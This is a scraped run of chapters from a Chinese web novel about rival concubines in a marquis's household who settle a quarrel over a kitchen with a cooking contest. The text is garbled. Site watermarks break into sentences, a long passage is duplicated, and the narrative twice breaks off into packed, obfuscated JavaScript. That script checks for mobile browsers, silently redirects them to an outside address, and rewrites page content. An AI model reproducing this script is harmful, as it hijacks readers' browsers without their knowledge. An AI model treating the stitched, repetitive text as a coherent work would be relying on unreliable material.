“你也就是想关她两日,待她脸上的伤处好些了,能让外人看了,再叫她出来。这中间你再吓唬她,逼着她出来之后说是自己撞伤的,顺便再给你一间灶房……妾说的这些,可对?” 姚初蕊的脸色阴晴不定的,冷声呵斥道:“你别以为自己很聪明,能猜到我在想什么。” 翠蝶也在一旁帮腔:“芷小娘,我们小娘是贵妾,她想要灶房,你就该让出来才是。·5!?~4a@e看[书3 :d最(@新]?章:节??更?新?°d快|?)你跟这个夏姑姑联手,不让出来也就罢了,就是我们小娘跟你同用一间都不许,分明是你们欺负人在先!” “翠蝶,我怎么记得你没被爷收房吧?我出身如何,那都是进府以前的事了,我能进府,侯夫人和爷都是点了头的。” “我是妾室,你是侍女,我的确比不上你的主子,可我跟你比……你至少该改一改你这随便插嘴的毛病。” 柏芷兮看向姚初蕊,目光玩味地道,“姚姐姐这般重视尊卑,那是不是也该让自己身边的人也懂得尊卑上下呢?” 姚初蕊纵容侍女自作主张去质问别的妾室,她自己都不把尊卑上下放在眼里,又怎能让逼她地位低的人去敬着她? “翠蝶,你住嘴!你先出去等着吧,没我的话不比进来。” 姚初蕊原就知道翠蝶有那份上进的心思,这时候被柏芷兮这么一激,立刻就瞪了翠蝶一眼,那眼神跟刀子似的, “芷妹妹,你也知道她有错,咱们也都是这府里的半个主子,正该一条心才是。·d+q·s-b¨o-o·k·.*c′o\m′不过是一间灶房,你不愿意跟我共用一间,那便也罢了。” “要么我之后再去求一间,要么便作罢了,回头我再求了爷在一心居中农一间小厨房便也是了,今天这事儿实在不该闹大,让阖府上下都看了笑话去。” “刚才是我冲动了,我这个人一生气、一着急,就容易不计后果。不如你把镯子还我,咱们想个说辞出来,晚些时候好去回了侯夫人和夫人,可好?” “不是我说你,你才刚进门,还没有生下孩儿,就惹了这样的是非,对你来说也不是什么好事,咱们就各退一步吧。” 姚初蕊说这些话时目光是隐忍而愤怒的,她根本就不想退让,也没觉得自己有错,只是为了息事宁人罢了。 今日她来大厨房,原以为夏姑姑很快就会同意,她也不是真要用这灶房,就是要到了也用不了几次,夏姑姑自己瞒下,不告知徐氏都行,她就是想压柏芷兮一头罢了。 谁知道夏姑姑会那般认真,竟然要跟她按规矩办,她这才没控制住脾气,加上鞋袜那事儿积累下的怨愤,才直接发作起来。 她现在只想着骗一骗柏芷兮,等到夏姑姑那边不闹了,她再找别的法子旧事重提,到时候等到她进了这大厨房,她一样可以说是她压服了柏芷兮了。 姚初蕊一直在维持她在侯府后院儿的地位,她面上不敢跟这几位夫人叫板,可是她至少要在这些妾室中是头一份儿。 柏芷兮是柏兰姵弄进府来生子的,她无论如何都要打压下去,让其他人都知道她和姜士明的地位没有变。 她当然没有法子一定能阻住柏芷兮生下孩子,她能做的只是尽可能地打压柏芷兮,这样即便她生下的孩子记到了柏兰姵名下,也会被姜奕辰厌恶。 柏芷兮对上姚初蕊的眼神,不用想都知道她在想什么,她只假装不知道: “能息事宁人最好,可要说姚姐姐不打算要这灶房了,妾不信,外面的人也不会信。要是你真不要了,没有今日之事还好,闹出了这么大的动静之后你再说不要了,不就是说你输了么?” “姚姐姐不是一个轻易认输的人,让你勉强低头,再让你成日惦记着,妾心里头也不舒坦。要不这样吧,妾有一个主意,能让这事儿有个了局。” 姚初蕊没想到又被柏芷兮猜中心事,她心里陡然升起一种无可奈何的情绪,这柏芷兮难不成真是她的克星,进门就是来克她的。 可事到如今,她也没有别的法子,今天的动静闹得太大了,至少要柏芷兮跟她口风一致才能将事情遮掩过去,否则就是姜奕辰也定是要怪她的。 姚初蕊私下里闹得再 难看,在姜奕辰面前也总是体面的,只因她每次使完性子之后,都自己善后了,要是真闹到姜奕辰面前,也少不得惹他厌烦。 姚初蕊不得不吐口道:“你说,要怎样解决?你别想着耍什么花招,让我吃亏的事,我可不做。” 柏芷兮笑了笑,轻声道:“其实这也简单,今日之事定然不会一点风声都传不出去,那便再张罗一件更大的事,将今日之事压过去吧。” “大厨房虽然还有好几间空屋子,可要是连世子那边的妾室也有样学样的话是一定不够的,因此这件事算下来,要么就是妾继续独占这一间,要么就是姚姐姐你用了妾现在这间。” “其实这件事根本就没有转圜的余地,也没有什么共存之法。不然姚姐姐你想想,要是共用了,用什么名目?说是咱们四房的共用一间?” “那世子那边、三房还有将来的五房,是不是都可以占一间,几个妾室一起用呢?自然是不行的,这口子一开,一间房都不剩了,以后还有个用处该怎么办?这是万万不行的。” 第102章 比试一场,方法她定 徐氏许了她柏芷兮一间灶房是因事破例,换一个人却不能,都这样了,府里的规矩可就全没了。~零/点′墈¢书, -蕞?鑫+章/结_耕?欣.筷, 柏芷兮不免要提醒姚初蕊:“况且侯夫人只把这间灶房许给妾一年,一年之后怕是不成了。姚姐姐要是真为小公子求的,定是不能只用一年的,时间长了,侯夫人定是要让你去小厨房的。” 大厨房这种地方,让一个妾室自己经常出入,这也不成体统,因此即便是为柏芷兮开了这个口子,也是很短暂的。 柏芷兮好生好气地说着,姚初蕊的心气儿也平了些,她虽然冷笑了一下,却没有之前生气了: “这灶房我是要定了,不然来这一趟,成什么样子?就算只用一年也使得,若是不成,说什么我都要一个交代。” 柏芷兮有手艺,姚初蕊有儿子,还是这府里的独苗,她要是弄不来一间,就意味着她在这位新进门的美妾面前落了下风。 不过柏芷兮也听出来了,姚初蕊这样说已经算是示弱了,她现在要的就是一个面子,只要能把她的面子圆过去,这事儿就算过去了。 柏芷兮心里安稳了些,不过她还是不会轻易就放过姚初蕊,今日这件事一样决定了她以后在这府中的生存状态。,天~禧′暁?税¨徃- !最-欣′漳`结.埂?鑫-快` 要是她轻易就被姚初蕊压服了,柏兰姵都会看不起她,恐怕葛氏也会被姚初蕊撺掇着让那些东院儿的妾室们欺负她,她这日子可真别过了。 柏芷兮抓住了姚初蕊态度上短暂的松动,趁势道:“姚姐姐原就比我尊贵,要想跟我比,原就不该在这庖厨之道上。你不做别的,就是教小公子背几首诗,都比妾在这儿忙乎一年下来强。” “不过,既然姚姐姐看上这灶房了,要不就这样吧,咱们比试一场,你看如何?” “比试?你让我跟你比做菜?让如意跟你比还差不多,哪儿用得着我。”姚初蕊又不高兴了,让她跟柏芷兮比,这摆明了就会输。 她就是真有了这灶房,也是让身边的人动手的,她这从小十指不沾阳春水的,哪里会做菜,最多就是会熬两道汤罢了。 柏芷兮明知故问地道:“难道你要这灶房不是自己用的?那可就不合规矩了,刚刚夏姑姑也说了,要是姚姐姐占了这灶房之后,不是自己用的,或是不常用的都不行。-狐/恋¢文′学+ !唔+错!内?容^” “妾要跟姐姐比试一场,也是想向其他人证明姐姐之后的确会将这件灶房用起来,不会荒废。要是姐姐赢了,我自愿退出,这灶房就给姐姐用了。” “若是姐姐输了,也没什么,你出身大家,君子远庖厨,你不会这些也没人会说你什么。他们反而会觉得你明知道会输,还愿意跟妾公平比试,要称赞你一句高风亮节。” 这样的话面子上也就交待过去了,在姜奕辰面前,也可以说是她们姐妹间的意趣。 姚初蕊不在死咬着不放,能不能赢,也要看怎么比:“行,可以比,但是怎么比要我说了算。” 柏芷兮颔首:“只要是跟做菜、做吃食有关的,姚姐姐想怎么比都行。不过你可一定得亲自动手,不然可实在难以服众。” “那当然是我自己做,这样吧,三日之后,我们赛一场。就比做汤或是蒸菜,就不做炒菜和那些烤的了,烟熏火燎的,也不体面。” 姚初蕊盘算了一下,选了这种方式,熬汤或是做蒸菜都比较好学,只要知道放什么料了,其他都相对容易。 这三天的时间够她去请教外头的名厨了,柏芷兮的确会做菜,可是她再会做也比不过外头那些名厨,尤其是柏芷兮家从前的食肆再有名,也都是十几年前的事了,这十几年里名厨、名菜辈出,她能会几个菜? 她觉得柏芷兮只是会些食方,很多菜也没有真的自己做过,所以才假手于人,让夏姑姑她们动手的。柏芷兮自己动手做的那些不过是些小食,真正会做的菜色不多。 她只要请的厨子够好,教她的菜本身比柏芷兮会的好吃,就已经先迎了一大半儿。 况且蒸菜和汤,食材和所用的香料只要足够好,就已经赢了一大半,相对的也不怎么考验刀工,甚至她还可以弄一些名厨自己特制的香料进来,外面根本就没的卖,这些东西往食材上一放,根本不需要她自己费太多心思。 还有火候就更不必说了,要是炒菜,炒到什么程度刚好,什么程度就过了火候了,这些都需要经验来把握,可是汤和蒸菜的火候完全可以用木柴、火炭的数量和时间来控制,这是适合她的法子了。 柏芷兮露出些许抱怨的神情,又好似话已出口就不好违逆姚初蕊了似的,只得应了下来。 姚初蕊和柏芷兮各自去准备三日后的比试,夏姑姑找了医婆看了伤,也并没有去找徐氏告状,她知道今日大厨房发生的事已经有人告诉了徐氏,暂时无须她去告状。 闹出了这么大的动静,阖府上下大概都已经知道了,只是无论是徐氏、葛氏还是姜奕辰和柏兰姵 都没有明着说什么,说到底还是想看看比试的结果,看看这件事能不能在两个妾室之间自行解决。 若这是两个普通妾室之间的事,作为正室夫人的柏兰姵早就把人给打了、罚了,偏偏这里面牵扯到了地位特殊的姚初蕊。 柏兰姵倒不是真的不好做什么,她是想让全府的人都看到她这个主母的为难,看,她被一个有子的贵妾逼得什么都做不了了,她这个正室难当啊。 葛氏没有动作则是因为这次事儿是姚初蕊理亏,她要是上来就帮着姚初蕊,倒显得她这个世子夫人做得不公道了。 况且葛氏这个世子夫人当的,也不是完全随心所欲的,她的夫君世子姜奕德有两个贵妾、三个良妾,这三人都是有些出身的,当初纳进门来也是为了给姜奕德增加些助力。 底下的通房和贱妾她可以不顾及,可这五个人的态度,她不可能完全不顾。姚初蕊平日里仗着生了侯府唯一的孙辈,经常趾高气昂的,早就把这五个人得罪了。 第103章 蟹宝 这五个人平时早就想给姚初蕊个教训,可是她们也都是识大体的人,为了府里的庶务着想,不想因为姚初蕊跟姜奕辰交恶,加上到底各自不在一个房头,对她们的生活影响不大,也就没有直接上去计较。,天~禧′暁?税¨徃- !最-欣′漳`结.埂?鑫-快` 这回跳出来一个柏芷兮要跟姚初蕊打擂台,她们当然是乐见其成的,这些个人不仅在第二日请安时就向葛氏委婉地表达了自己的态度,私下里还偷着向柏芷兮递了话,让柏芷兮缺什么食材、香料只管跟她们说。 本来么,她们中的好几个并不比姚初蕊的出身差,除了没生下孩子,在其他方面对府里也是有过贡献的,她们的父兄可都是很支持侯爷和世子的,凭什么这府里的风光都被姚初蕊一个人占了? 姚初蕊再怎样,也不过只是一个侯府公子的贵妾,可她们都是世子的贵妾、良妾,这侯府早晚都是他们世子的,她们才是这侯府将来的主子,凭什么还得顾及着她姚初蕊的态度? 这里面甚至有人对葛氏说了,姜奕德让大家都多照顾姚初蕊这个表妹一些,都照顾成这样了,还要怎么照顾? 不过是一个妾室罢了,要是姜奕德真要如此疼爱他这个表妹,一点儿磕了碰了都不能有,敲敲打打也不能有,这么宝贝着,倒不如当初自己收了房,纳了妾了,留自己院儿里照顾着,岂不更放心了? 葛氏原本照顾着姚初蕊就是贪图她帮着牵线搭桥能让姜奕辰给侯府更卖命地打理庶务,他们将来继承侯府时拿到的利益更多,再有就是为了能得些路子,把她自己的嫁妆经营得更好了。¢萝-拉?晓-说! +追·罪,欣?章-踕, 可是前者姜奕辰当然是尽心尽力的,可后者,他犯不上还得为自己的嫂子打理嫁妆铺路,一直以来无论姚初蕊怎么说,他都未曾上心过。 葛氏在姚初蕊这儿收效甚微,又得顾着她是姜奕德表妹这层关系,心里也不是没有怨言的,何况是个女人都多少有些会胡思乱想,她有时候也会想,这表哥、表妹之间是不是真有些若有似无的情愫。 这么一想,葛氏倒也做壁上观了,就是在府里碰见公公姜定武的时候,姜定武问起这件事,她也只说姐妹们之间闹了点小矛盾,还是让她们自己解决吧。 于是,这场比试真就在三日后举行了,一大早姚初蕊和柏芷兮就都带着各自的侍女去了大厨房,她们一人一间灶房,开始备菜。`微?趣_小^税^旺* +哽/辛/嶵/全~ 要说柏芷兮这边也是奇了,她从没想过区区两个妾室之间的比试,竟然惊动了这么多人,还有这么多人暗地里帮她。 她原本想着蒸菜能让她发挥得不多,还在愁怎么能应对得了姚初蕊从府外找来的“援手”,结果先是有东院儿那边暗地里送新鲜食材,再有夏姑姑给她准备了最好的香料,大厨房一应器物也随她用。 因此柏芷兮收获了一大篓子新鲜的螃蟹,各个都大而肥美,还有各色鱼虾几篓,还摘了许多姜奕辰给她种的小玫瑰的花儿,用大厨房用了蒸馏花露的炉子做了花露出来。 这日比试,每人的灶房里除了柏芷兮和姚初蕊自己,另有一名大厨房的侍女或是管事儿婆子在灶房内监管。 大厨房的人只负责监管,再有就是需要什么东西找不到了,他们给指个路,别的他们都是不管的。再就是廊子里站着的人,通过门口和窗户也可以看到里面的情况,保证这菜就是二人自己做出来的,没用其他人帮忙。 柏芷兮灶房里负责监管的是婵儿,她可是求了夏姑姑好久,才让她进来看着的。她跟柏芷兮已经成了姐妹了,她甚至还是柏芷兮在这大厨房里最大的拥护者。 有婵儿在,至少能保证柏芷兮这儿负责监管的人没有被姚初蕊买通,不至于给她添乱。而相对的,为了防止婵儿帮柏芷兮作弊,这廊子里站着的管事嬷嬷就跟柏芷兮没什么交情了。 此刻婵儿站的位置离柏芷兮有三步远,眼睛眨都不眨得盯着柏芷兮手上的动作,她可是来偷师的: “芷小娘,你这花露行吗?之前不是说要用玫瑰酒才行吗?这花露会不会太淡了?” 柏芷兮一面将花露倒在碗里用冰镇好,一面毫不吝啬地解释道:“要是用来喝的,或是做醉虾,那自然得用果酒了,可我这是做虾蟹,又不是做蘸料,调味用的话,果酒反而太浓了些。” “就是要这般若有似无地才好,况且我也不是不用酒,我这道菜用的就是这花露兑上少许的姜汁、果醋和极淡的果酒调的。更何况,即便要用果酒,能符合这味道要求的,三天的时间也不够酿啊。” 要说还得感谢有大厨房的一应器物,这蒸馏炉就是一个极好的东西。 那小玫瑰,又称茶梅,把花瓣摘了,放在蒸馏炉里一蒸,火候一到那混合着茶梅味道的花露就顺着炉子的盖儿和壁流到了下方承接的盒子里。如此这般蒸上六道,才得了这么一小瓶花露。 这味道别说用在吃食上闻着香,就是拿去做香膏,抹在身上、脸上,都是极好的。 这些个食材真不是普通人家能得到的,所以说若不是进了这侯府,柏芷兮仅仅是用自己的手艺在外面谋生的话,还真难。 这些个香料和器物统统没有,更没有如此好的茶梅花做原料,哪里能得来这样的花露?她要是在外面,还真就只能开一个面摊儿罢了。 柏芷兮跟婵儿说完,就着手处理食材,她手法娴熟地先处理螃蟹,将蟹腿和蟹壳通通取下,再将蟹黄和里面的蟹肉抠出来,再将蟹腿里的人弄出与之混合剁碎放在一处。 之后她又去了最鲜嫩的江鱼去骨去刺,一样剁碎了和之前的蟹肉放在一处,又取新鲜的鸡腿肉剁成肉糜,几样放在一处用那花露、姜汁、米酒和她之前调配好的香料、药材混在一起腌制。 还没等再做下一步,那食材的鲜冷之气就散了出来,弄得婵儿连连嗅鼻子:“这是要做什么?好好的蟹肉怎么就都掏出来了?为什么还在里面放鸡肉糜?” 这五个人平时早就想给姚初蕊个教训,可是她们也都是识大体的人,为了府里的庶务着想,不想因为姚初蕊跟姜奕辰交恶,加上到底各自不在一个房头,对她们的生活影响不大,也就没有直接上去计较。,天~禧′暁?税¨徃- !最-欣′漳`结.埂?鑫-快` 这回跳出来一个柏芷兮要跟姚初蕊打擂台,她们当然是乐见其成的,这些个人不仅在第二日请安时就向葛氏委婉地表达了自己的态度,私下里还偷着向柏芷兮递了话,让柏芷兮缺什么食材、香料只管跟她们说。 本来么,她们中的好几个并不比姚初蕊的出身差,除了没生下孩子,在其他方面对府里也是有过贡献的,她们的父兄可都是很支持侯爷和世子的,凭什么这府里的风光都被姚初蕊一个人占了? 姚初蕊再怎样,也不过只是一个侯府公子的贵妾,可她们都是世子的贵妾、良妾,这侯府早晚都是他们世子的,她们才是这侯府将来的主子,凭什么还得顾及着她姚初蕊的态度? 这里面甚至有人对葛氏说了,姜奕德让大家都多照顾姚初蕊这个表妹一些,都照顾成这样了,还要怎么照顾? 不过是一个妾室罢了,要是姜奕德真要如此疼爱他这个表妹,一点儿磕了碰了都不能有,敲敲打打也不能有,这么宝贝着,倒不如当初自己收了房,纳了妾了,留自己院儿里照顾着,岂不更放心了? 葛氏原本照顾着姚初蕊就是贪图她帮着牵线搭桥能让姜奕辰给侯府更卖命地打理庶务,他们将来继承侯府时拿到的利益更多,再有就是为了能得些路子,把她自己的嫁妆经营得更好了。¢萝-拉?晓-说! +追·罪,欣?章-踕, 可是前者姜奕辰当然是尽心尽力的,可后者,他犯不上还得为自己的嫂子打理嫁妆铺路,一直以来无论姚初蕊怎么说,他都未曾上心过。 葛氏在姚初蕊这儿收效甚微,又得顾着她是姜奕德表妹这层关系,心里也不是没有怨言的,何况是个女人都多少有些会胡思乱想,她有时候也会想,这表哥、表妹之间是不是真有些若有似无的情愫。 这么一想,葛氏倒也做壁上观了,就是在府里碰见公公姜定武的时候,姜定武问起这件事,她也只说姐妹们之间闹了点小矛盾,还是让她们自己解决吧。 于是,这场比试真就在三日后举行了,一大早姚初蕊和柏芷兮就都带着各自的侍女去了大厨房,她们一人一间灶房,开始备菜。`微?趣_小^税^旺* +哽/辛/嶵/全~ 要说柏芷兮这边也是奇了,她从没想过区区两个妾室之间的比试,竟然惊动了这么多人,还有这么多人暗地里帮她。 她原本想着蒸菜能让她发挥得不多,还在愁怎么能应对得了姚初蕊从府外找来的“援手”,结果先是有东院儿那边暗地里送新鲜食材,再有夏姑姑给她准备了最好的香料,大厨房一应器物也随她用。 因此柏芷兮收获了一大篓子新鲜的螃蟹,各个都大而肥美,还有各色鱼虾几篓,还摘了许多姜奕辰给她种的小玫瑰的花儿,用大厨房用了蒸馏花露的炉子做了花露出来。 这日比试,每人的灶房里除了柏芷兮和姚初蕊自己,另有一名大厨房的侍女或是管事儿婆子在灶房内监管。 大厨房的人只负责监管,再有就是需要什么东西找不到了,他们给指个路,别的他们都是不管的。再就是廊子里站着的人,通过门口和窗户也可以看到里面的情况,保证这菜就是二人自己做出来的,没用其他人帮忙。 柏芷兮灶房里负责监管的是婵儿,她可是求了夏姑姑好久,才让她进来看着的。她跟柏芷兮已经成了姐妹了,她甚至还是柏芷兮在这大厨房里最大的拥护者。 有婵儿在,至少能保证柏芷兮这儿负责监管的人没有被姚初蕊买通,不至于给她添乱。而相对的,为了防止婵儿帮柏芷兮作弊,这廊子里站着的管事嬷嬷就跟柏芷兮没什么交情了。 此刻婵儿站的位置离柏芷兮有三步远,眼睛眨都不眨得盯着柏芷兮手上的动作,她可是来偷师的: “芷小娘,你这花露行吗?之前不是说要用玫瑰酒才行吗?这花露会不会太淡了?” 柏芷兮一面将花露倒在碗里用冰镇好,一面毫不吝啬地解释道:“要是用来喝的,或是做醉虾,那自然得用果酒了,可我这是做虾蟹,又不是做蘸料,调味用的话,果酒反而太浓了些。” “就是要这般若有似无地才好,况且我也不是不用酒,我这道菜用的就是这花露兑上少许的姜汁、果醋和极淡的果酒调的。更何况,即便要用果酒,能符合这味道要求的,三天的时间也不够酿啊。” 要说还得感谢有大厨房的一应器物,这蒸馏炉就是一个极好的东西。 那小玫瑰,又称茶梅,把花瓣摘了,放在蒸馏炉里一蒸,火候一到那混合着茶梅味道的花露就顺着炉子的盖儿和壁流到了下方承接的盒子里。如此这般蒸上六道,才得了这么一小瓶花露。 这味道别说用在吃食上闻着香,就是拿去做香膏,抹在身上、脸上,都是极好的。 这些个食材真不是普通人家能得到的,所以说若不是进了这侯府,柏芷兮仅仅是用自己的手艺在外面谋生的话,还真难。 这些个香料和器物统统没有,更没有如此好的茶梅花做原料,哪里能得来这样的花露?她要是在外面,还真就只能开一个面摊儿罢了。 柏芷兮跟婵儿说完,就着手处理食材,她手法娴熟地先处理螃蟹,将蟹腿和蟹壳通通取下,再将蟹黄和里面的蟹肉抠出来,再将蟹腿里的人弄出与之混合剁碎放在一处。 之后她又去了最鲜嫩的江鱼去骨去刺,一样剁碎了和之前的蟹肉放在一处,又取新鲜的鸡腿肉剁成肉糜,几样放在一处用那花露、姜汁、米酒和她之前调配好的香料、药材混在一起腌制。 还没等再做下一步,那食材的鲜冷之气就散了出来,弄得婵儿连连嗅鼻子:“这是要做什么?好好的蟹肉怎么就都掏出来了?为什么还在里面放鸡肉糜?” 第104章 香气四溢 “为了口感,虾肉打碎之后搅成糜,加了碱水和盐水之后是有嚼劲儿的,可蟹肉这么做了之后是软烂的,这两者放在一块儿,口感上终究差了一点。” “而且它们都是水里的东西,味道里的鲜味儿同源,有差别,差别的大小还是差了些。加了鸡肉糜进去,不仅加了一道地上的鲜味儿,它的口感跟虾蟹的区别更大,三种肉糜混在一块儿调出的口感更好、更有层次。” 柏芷兮手上动作不停,侯府有冰窖,她提前让人取了冰过来用锤子杂碎,再搅拌肉糜时加入冰碎,同时加入已经弄好的姜汁、少量的白醋, “这醋是问你夏姑姑要的,是她酿的甜醋,不是外面买的,一会儿你尝尝看。你师父手里好东西不少,你要是能学个三成,将来嫁人出了府,营生就不愁了。” 厨子安身立命的本事不仅是会做一些特殊的菜色,会备料绝对算是一项看家本领,这菜里放的料汁、香料好多都是自己做的,或是将外头做的自己再改良、加工了新做出来的。 这也是为何许多人明明拿了人家的食方,却还是做不出人家的菜,因为这里面关键的佐料是人家自己做的,外面根本就没有。 再者,这里面有些步骤,比如说这肉糜要搅打到什么程度,要放多少冰和碱水,什么时候放,之后用筷子搅动时到了怎样的紧实程度就可以停了,这些都要根据具体肉质的情况还有个人的力道决定的。 厨子要掌握这些,需要一遍又一遍地反复尝试和调整,这需要个人的努力和悟性,初时也要教他的师父帮着把关。 柏芷兮毕竟不是婵儿的师父,这些都要夏姑姑去带她。 不过柏芷兮倒也没辜负婵儿对她的一片心意,为了防止出现问题,比试用的吃食用料都是要留样待查的,这肉糜她特意多留了一碗出来,还拿冰镇上了,就是留着给婵儿体悟的。 这些都做完之后,柏芷兮就将那蒸馏出来的茶梅花露用干净的毛笔沾着刷在蟹壳内里的中空位置,然后再刷一层米酒,之后将搅打好的肉糜填充进去,之后再在末尾处淋上一层花露。 如此这般之后,再将填好的蟹壳如蒸螃蟹那般在蒸笼里摆好,之后放入蒸屉里开始蒸。 蒸汽刚一上来,便满室飘香,那虾蟹的腥气尽除,只留下甜香,混合着茶梅花露的味道,让人忍不住要多闻几下。 别说是婵儿了,就是廊子里监看的婆子,还有院子里等候的人都忍不住想要尝一尝了。 婵儿只觉得自己忍得好辛苦,等一会儿做好了,还得等姚初蕊那边一起给府里的管事儿尝鲜,不仅如此,今日来评出胜负的可不止是大厨房的管事儿、厨子,世子夫人葛氏和四房的主母柏兰姵都会来,侯夫人徐氏身份太重,不好过来,她就派了自己的女儿二姑娘姜采鸯过来。 得等这些人都尝过了,有了结果了,还有剩下的,才能留给他们底下的人吃。 柏芷兮从前很少亲手给她们做吃食,多是把食方告诉她们,让她们跟在她身边做,之后她们吃的也多是自己和夏姑姑做的。 今日这道菜,婵儿是真想尝尝柏芷兮亲手做的,于是她吞着口水开了口:“芷小娘,芷姐姐,这道菜叫什么?是叫什锦蒸蟹吗?你之后能不能再做一回……” 婵儿那小馋猫一样的眼神儿已经出卖了她,柏芷兮笑了笑,也不拆穿她: “因着准备仓促,我也不好欺负了姚小娘去,这‘什锦’是没有了,东西是不够的,而且这毕竟是蒸蟹,地方还是小了些,放那么多东西,味道反而杂了。” “你想‘什锦’定是要放下实实在在的食材进去的,咱么这东西里只有虾、蟹、鸡三种肉糜,其余的都是汁子、盐、糖和香料,尽可能还是让口感醇厚一些。要是加了别的进去,像是核桃碎、木耳碎这些山珍,那口感便要杂些了。” “你要是下次想试试什锦的做法,要不你就试试把外头的蟹壳换成一条鱼或是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“太好了,奴婢保证,就是一年之后,你不能再用这灶房了,你要是想用什么器物了,想借灶了,奴婢一定帮你办到。” 婵儿看着那些蟹肉,隔着几步远都高兴得拍巴掌,她们家芷小娘依然是那般惠而不费。 王小娘不懂做菜,不知道做这些东西要用多少螃蟹,这蟹宝里的蟹肉都是剁碎了之后跟虾肉、鸡肉混在一起的,实际上并没有用那么多。 这样省下来的,就真的便宜了他们这些底下的人了,就算王晓娘或是葛氏那边来问,就说其他的螃蟹也掏了肉做肉糜了,还真查不出来。 柏芷兮这边主要的功夫都差不多的,其余的就剩火候和时候到了取出来装盘、修饰了,姚初蕊那边此刻却还在手忙脚乱地忙乎着。 姚初蕊用的灶房在柏芷兮这间的对面,中间隔着一个院子,此刻姚初蕊在灶房里拿着菜刀生闷气,忍着怒气对着一旁负责监看她的侍女紫兰呵斥着: “你这丫头,怎生这般不懂事?让你在这儿看着我,你就只看着我啊,你不会来帮一帮我,把这肉给妾了?” “养你们都有什么用?你该不会是收了那边的好处吧?难道她芷小娘她就一点忙都不让人帮?她平时可是带着她那个叫冬暖的侍女的,这会也一定有人帮她,凭什么你不帮我?” 紫兰不卑不亢地站着,腰杆都没弯一下,站在那里就像一根木头杆子。她的干娘是夏姑姑的干妹妹,她私下里都要喊夏姑姑一声夏姨。 三天前夏姑姑被打得头破血流的,紫兰哪里不会生气,她知道自己跟姚初蕊身份有别,她没法子直接报复姚初蕊替她干姨母出气,便主动请缨来给姚初蕊做这监看。 紫兰跟婵儿比起来,才厨艺的悟性和努力上差着一大截,可在人情世故上,她却别婵儿强了一大截,只要她想她特别会气人。 比方说紫兰特别知道,这刚刚学厨的人一旦自个儿单独上手,就会很紧张,这时候有个人在旁边说几句话,稍微提点她一下,哪怕说些无关紧要的话,缓和一下情绪都好。 她呢,从进门开始非必要不说话,安静得跟个锯了嘴的葫芦似的一言不发,弄得姚初蕊比之前更紧张了。 再比如说,姚初蕊对这灶房不熟悉,不是说着屋子的格局上有什么,是那些佐料、香料和东西她都不知道在哪儿,或是不清楚该用哪个。 姚初蕊找不到要用的东西就要问紫兰,可紫兰呢要么就是指错了两三次才找到对的,要么就故意看着她用错了东西。 比方说姚初蕊现在要把瘦肉切成片儿,她用的刀就不是切肉用的,而是一把砍古刀。这刀又大又重,姚初蕊只把它在案板上一剁,就差点儿把手腕儿给崴了,还差点把刀掉地上砍到脚背上。 还好姚初蕊反应还算快,刀落在她脚边半寸远的地方,她吓得嗷嗷直叫:“你就在那儿看着,也不帮帮我,要是我伤着了,我看你怎么负这个责!” “如意呢,翠蝶呢?还不给我滚进来,你们就这么看着你们的主子遭罪,再不来,回头就把你们都给卖了!” 如意和翠蝶哪里是不想进来,她们是进不来。比试一开始的时候,为了以示公平,柏兰姵就派了自己身边的筝儿看住了这两个人和柏芷兮身边的冬暖、秋寒。 为的就是不让她们四个帮各自的主子,保证一会儿出来的菜就是姚初蕊和柏芷兮各自亲手做的。 筝儿自己虽然想当姜奕辰的妾室,对柏芷兮这样突然**来的很是不满,可是她更不喜欢姚初蕊。 要知道柏芷兮才刚进门,到底跟筝儿没有什么直接的矛盾,姚初蕊可不一样了,从前没少折腾柏兰姵身边的这几个人。 筝儿想爬姜奕辰的床,姚初蕊是什么人,一眼就把筝儿看得透透的,哪里又能容得下了?于是,筝儿就成了被姚初蕊针对最多的那个,因此她早就对姚初蕊一肚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600384|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子怨气了。 更别说姚初蕊生下了姜士明,整个定安侯府现如今就这么一个孙辈,筝儿只要不傻就知道在子嗣艰难的侯府,这一个儿子有多重要。 她一想到她即便跟了姜奕辰了,却一直没能有个孩子,而姚初蕊却已经有了,说不定还真如相士和郎中说的那般是个好生养的,将来还会有孩子,就如临大敌。 再说了,筝儿有一点不得不承认,柏芷兮对底下的人是真好,就算知道了她们这样的有别的心思,也是一副笑盈盈的样子。 柏芷兮知道她们的心思,私下里也会说些什么,但那些话就像玉棋说她的那些一样,还是站在她们的角度为她们考虑的。而且她们可以不听,她也不会多说什么,一副大家各凭本事的样子。 不像姚初蕊,不仅对她这样想要上位的侍女呼三喝四,就是对那些想往女管事儿路上奔的,她也一样疑神疑鬼、极尽打压,这样的人偏偏有儿子傍身护持,简直要气**了。 好不容易柏芷兮创造了这么一个机会,她还不得把这仗算回来? 因此,柏兰姵一让她去看着这四个,她就来劲了,尤其是冬暖和秋寒根本就不担心柏芷兮,根本就没有往灶房里跑的意思,她就只需要打起十二分的精神盯住如意和翠蝶就行。 这会儿姚初蕊在里面叫,她们一行无人离得不远,都能听见。如意想要过去看看,直接就被筝儿拦住了。 紫兰依旧不动如钟,站在那儿就像鞋底子被胶黏在地上了一样,好在这回抬了抬眼皮: “小娘,你就别叫了,不过是切几片肉,至于么?从前你不是给四公子熬过那个什么咸骨老菜汤么,听说也是你自己亲手熬的,旁人一概没插手的。” “怎么那会儿连咸骨都切得动,现在切几片鲜肉反倒不行了?你该不会根本不会做菜,就是想叫外头的两位姐姐进来帮忙……啊,不,是进来直接替你做吧?” 第106章 有人众人嫌 姚初蕊听得瞠目结舌,肉也不切了,指着紫兰的手都在抖:“你……谁给你的胆子让你跟我这么说话?你一个奴婢……我可是……” 